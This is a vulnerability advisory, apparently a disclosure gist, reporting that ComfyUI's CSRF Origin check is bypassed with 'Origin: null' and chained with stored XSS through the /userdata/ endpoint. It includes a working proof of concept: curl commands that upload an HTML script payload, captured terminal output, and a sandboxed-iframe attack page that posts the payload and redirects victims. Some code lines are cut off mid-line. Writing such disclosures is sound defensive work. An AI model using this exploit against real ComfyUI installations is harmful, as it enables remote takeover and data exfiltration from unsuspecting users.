YLChen-007 / **ISSUE-Github-REPORT-csrf-xss-attack-chain.md** Secret

Created last month

Code Revisions 1

CSRF Protection Bypass via Origin: null Chained with Stored XSS in /userdata/ Endpoint Leads to Remote JavaScript Execution

**ISSUE-Github-REPORT-csrf-xss-attack-chain.md**

## Advisory Details

**Title**: CSRF Protection Bypass via `Origin: null` Chained with Stored XSS in `/userdata/` Endpoint Leads to Remote JavaScript Execution

**Description**:

## Summary

ComfyUI's CSRF protection middleware (`create_origin_only_middleware`) can be completely bypassed by sending requests with `Origin: null`, which browsers automatically set for sandboxed iframes. Combined with the `/userdata/` endpoint serving uploaded `.html` files with `Content-Type: text/html`, an attacker can chain these two flaws to achieve stored cross-site scripting (XSS) with full API access in the victim's ComfyUI session — all by simply tricking the victim into visiting a malicious webpage.

## Attack Model & Prerequisites

**Why no authentication is involved:**

ComfyUI does not implement any authentication mechanism — no login, no password, no session cookies, no API keys. The developer acknowledges this in `server.py` line 149:

```
#I know the proper fix would be to add a cookie but this should take care of
```

The only security boundary protecting locally-running ComfyUI from cross-origin attacks is the `create_origin_only_middleware()` — an Origin header check. Once this check is bypassed, there is nothing else preventing unauthorized access.

**How the attacker reaches the victim's local ComfyUI:**

ComfyUI runs locally on the victim's machine at `127.0.0.1:8188`. An external attacker on the internet cannot directly reach this address. However, the victim's own browser *can* access `127.0.0.1:8188`. This is the core of the CSRF attack — the attacker uses the victim's browser as a proxy:

```
Attacker (evil.com)                    Victim's Machine
———————————————————                    ————————————————

1. Hosts malicious webpage
   at evil.com

                                       2. Victim runs ComfyUI locally
                                          (127.0.0.1:8188, no auth)

3. Tricks victim into visiting
   evil.com (phishing, social
   engineering, ad, etc.)

                                       4. Victim opens evil.com
                                          in their browser

                                       5. evil.com's JS creates a
                                          sandboxed iframe
                                          → browser sends Origin: null
                                          → POST to 127.0.0.1:8188
                                          → uploads evil.html (CSRF!)

                                       6. Browser opens the uploaded
                                          evil.html on 127.0.0.1:8188
                                          → JS executes in ComfyUI's
                                            origin context
                                          → full API access achieved

7. Attacker receives exfiltrated
   data sent back by the JS payload
```

The attacker never directly touches the victim's ComfyUI. The victim's own browser does all the work after visiting the malicious page.

## Details

### Bug 1: CSRF bypass via `Origin: null`

The `create_origin_only_middleware()` function in `server.py` compares the `Host` and `Origin` headers to block cross-origin requests. However, the check at line 166 requires `len(origin_domain) > 0` to proceed:

```
# server.py, line 154-166
parsed = urllib.parse.urlparse(origin)
origin_domain = parsed.netloc.lower()
# ...
if loopback and host_domain is not None and origin_domain is not None and len
    if host_domain != origin_domain:
        return web.Response(status=403)
```

When a browser sends `Origin: null` (which happens automatically for sandboxed iframes per the W3C spec), `urllib.parse.urlparse("null")` produces:

```
>>> urllib.parse.urlparse("null")
ParseResult(scheme='', netloc='', path='null', params='', query='', fragment=
```

`netloc` is an empty string `""`, so `len("") > 0` evaluates to `False`. The entire CSRF check is skipped, and the request is allowed through.

**Bug 2: Stored XSS via `/userdata/` endpoint**

The `getuserdata()` handler at line 333-339 of `app/user_manager.py` returns uploaded files using `web.FileResponse(path)`:

```
# app/user_manager.py, line 333-339
@routes.get("/userdata/{file}")
async def getuserdata(request):
    path = get_user_data_path(request, check_exists=True)
    if not isinstance(path, str):
        return path
    return web.FileResponse(path)
```

`web.FileResponse` uses `mimetypes.guess_type()` to determine the `Content-Type` header. For `.html` files, this results in `Content-Type: text/html`, which causes the browser to render the HTML and execute any embedded JavaScript. Unlike the `/view` endpoint which sanitizes content types, the `/userdata/` endpoint has no such protection.

**Attack chain:**

An attacker hosts a webpage that:

1. Creates a sandboxed iframe (`<iframe sandbox="allow-scripts allow-forms">`), which causes the browser to send `Origin: null`

2. The iframe POSTs an HTML file containing malicious JavaScript to `http://127.0.0.1:8188/userdata/evil.html` — the CSRF check is bypassed due to Bug 1
3. The iframe then redirects the victim to `http://127.0.0.1:8188/userdata/evil.html`
4. The victim's browser renders the HTML file with `Content-Type: text/html` (Bug 2), executing the attacker's JavaScript
5. The JavaScript now runs in ComfyUI's origin (`http://127.0.0.1:8188`) and has full access to all API endpoints

## PoC

**Tested against ComfyUI v0.13.0 on latest master.**

The following `curl` commands simulate what happens inside the victim's browser when they visit the attacker's page. Each step corresponds to a stage in the CSRF attack chain — the `Origin: null` header replicates what a sandboxed iframe automatically sends:

**Step 1: Baseline — normal cross-origin request is blocked (simulates a regular malicious site without iframe trick).**

```
curl -s -o /dev/null -w "HTTP %{http_code}\n" \
  -H "Origin: http://evil.com" -H "Host: 127.0.0.1:8188" \
  http://127.0.0.1:8188/system_stats
```

Result: `HTTP 403` — CSRF protection correctly blocks requests from `http://evil.com`. This is the expected secure behavior. ✅

**Step 2: CSRF bypass — simulate what the victim's browser sends from a sandboxed iframe (`Origin: null`).**

Browsers automatically set `Origin: null` for requests originating from sandboxed iframes (per the W3C Fetch spec). The attacker exploits this by embedding their attack in `<iframe sandbox="allow-scripts allow-forms">`.

```
curl -s -o /dev/null -w "HTTP %{http_code}\n" \
  -H "Origin: null" -H "Host: 127.0.0.1:8188" \
  http://127.0.0.1:8188/system_stats
```

Result: `HTTP 200` — CSRF protection is **completely bypassed**. The victim's browser can now make arbitrary requests to their local ComfyUI on behalf of the attacker. ⚠️

**Step 3: Upload XSS payload — the attacker's iframe writes a malicious HTML file into the victim's ComfyUI via CSRF.**

This simulates the sandboxed iframe POSTing an HTML payload to the victim's ComfyUI. The `Origin: null` header bypasses CSRF protection (Step 2), and the file is saved to the victim's `/userdata/` directory.

```
curl -s -w "\nHTTP %{http_code}\n" \
  -H "Origin: null" \
  -X POST --data-binary '<html><script>alert("XSS")</script></html>' \
  http://127.0.0.1:8188/userdata/evil.html
```

Result: `HTTP 200`, response body: `"evil.html"` — the attacker has successfully planted a file on the victim's ComfyUI server through the victim's own browser. ⚠️

**Step 4: XSS triggers — the victim's browser opens the uploaded file, and JavaScript executes in ComfyUI's origin.**

After uploading the payload, the attacker's iframe redirects the victim to the uploaded file. The victim's browser fetches it from their own ComfyUI instance:

```
curl -s -D - http://127.0.0.1:8188/userdata/evil.html | head -5
```

Result:

```
HTTP/1.1 200 OK
Content-Type: text/html
Etag: "..."
Last-Modified: ...
Content-Length: 42
```

The file is served with `Content-Type: text/html`. The victim's browser renders the HTML and executes `<script>alert("XSS")</script>` in ComfyUI's origin context (`http://127.0.0.1:8188`). At this point, the attacker's JavaScript has the same access as the victim — it can call any ComfyUI API, read all data, execute workflows, and exfiltrate everything back to the attacker. ⚠️

**In a real browser attack**, the attacker simply needs the victim to visit a page like this:

```
<iframe sandbox="allow-scripts allow-forms" srcdoc="
  <script>
    // This runs with Origin: null (browser standard behavior)
```

```
    fetch('http://127.0.0.1:8188/userdata/evil.html', {
      method: 'POST',
      body: '<html><script>fetch(\'/system_stats\').then(r=>r.json()).then(d=
    }).then(() => {
      // Redirect victim to the uploaded payload
      top.location = 'http://127.0.0.1:8188/userdata/evil.html';
    });
  </script>
"></iframe>
```

The victim's browser does the rest. No user interaction required beyond visiting the page.

## Screenshot of Evidence

```
root@LAPTOP-Q7HIGDJK:~/llm-project/ComfyUI-huntr# curl -s -o /dev/null -w "HTTP %{http_code}\n" \
  -H "Origin: http://evil.com" -H "Host: 127.0.0.1:8188" \
  http://127.0.0.1:8188/system_stats
HTTP 403
root@LAPTOP-Q7HIGDJK:~/llm-project/ComfyUI-huntr# curl -s -o /dev/null -w "HTTP %{http_code}\n" \
  -H "Origin: null" -H "Host: 127.0.0.1:8188" \
  http://127.0.0.1:8188/system_stats
HTTP 200
root@LAPTOP-Q7HIGDJK:~/llm-project/ComfyUI-huntr# curl -s -w "\nHTTP %{http_code}\n" \
  -H "Origin: null" \
  -X POST --data-binary '<html><script>alert("XSS")</script></html>' \
  http://127.0.0.1:8188/userdata/evil.html
"evil.html"
HTTP 200
```


## Impact

This attack chain allows a remote attacker to execute arbitrary JavaScript in the context of a victim's ComfyUI instance. By simply tricking the victim into visiting a malicious webpage, the attacker can:

- **Execute arbitrary AI workflows** ( `POST /prompt` ) — consuming the victim's compute resources, potentially generating harmful content

- **Read and exfiltrate all data** — system information ( `/system_stats` ), generated images ( `/view` ), workflow history ( `/history` ), and user files ( `/userdata` )
- **Upload and overwrite files** — planting persistent backdoors or replacing model configurations
- **Denial of service** — queuing resource-intensive workflows or deleting critical files
- **Full API access** — the JavaScript runs in ComfyUI's origin, so all API endpoints are accessible without any further authentication

This is essentially **Remote Code Execution via the browser** — the attacker gets the same level of access as if they were sitting at the victim's machine using ComfyUI directly.

## Affected products

- **Ecosystem**: pip
- **Package name**: ComfyUI
- **Affected versions**: <= 0.13.0 (current latest)
- **Patched versions**: None

## Severity

- **Severity**: Critical
- **Vector string**: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

## Weaknesses

- **CWE**: CWE-346: Origin Validation Error
- **CWE**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

## Occurrences

| Permalink |
| --- |
| https://github.com/comfyanonymous/ComfyUI/blob/88e6370527dbd602851de07d957a8f1 |
| https://github.com/comfyanonymous/ComfyUI/blob/88e6370527dbd602851de07d957a8f1 L339 |
| https://github.com/comfyanonymous/ComfyUI/blob/88e6370527dbd602851de07d957a8f1 L395 |